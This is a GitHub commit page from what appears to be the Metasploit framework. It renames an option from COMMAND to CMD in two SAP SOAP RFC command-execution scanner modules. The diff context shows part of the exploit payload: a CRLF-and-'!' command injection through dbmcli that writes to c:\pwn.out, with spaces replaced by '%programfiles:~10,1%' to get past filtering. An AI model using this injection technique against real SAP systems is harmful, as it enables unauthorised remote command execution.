Skip to content

Commit d9cdb6a

Browse files
author
jvazquez-r7
committed
Fix more feedback provided by @nmonkee: CMD vs COMMAND
1 parent c6c7998 commit d9cdb6a

File tree

2 files changed

+2
-2
lines changed

2 files changed

+2
-2
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,7 +73,7 @@ def create_payload(num)
7373
if num == 1
7474
command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"
7575
space = "%programfiles:~10,1%"
76-
command << datastore['COMMAND'].gsub(" ",space)
76+
command << datastore['CMD'].gsub(" ",space)
7777
end
7878
command = '-ic c:\\\pwn.out' if num == 2
7979
end

modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ def create_payload(num)
7474
if num == 1
7575
command = '-o c:\\\pwn.out -n pwnsap' + "\r\n!"
7676
space = "%programfiles:~10,1%"
77-
command << datastore['COMMAND'].gsub(" ",space)
77+
command << datastore['CMD'].gsub(" ",space)
7878
end
7979
command = '-ic c:\\\pwn.out' if num == 2
8080
end

0 commit comments

Comments
 (0)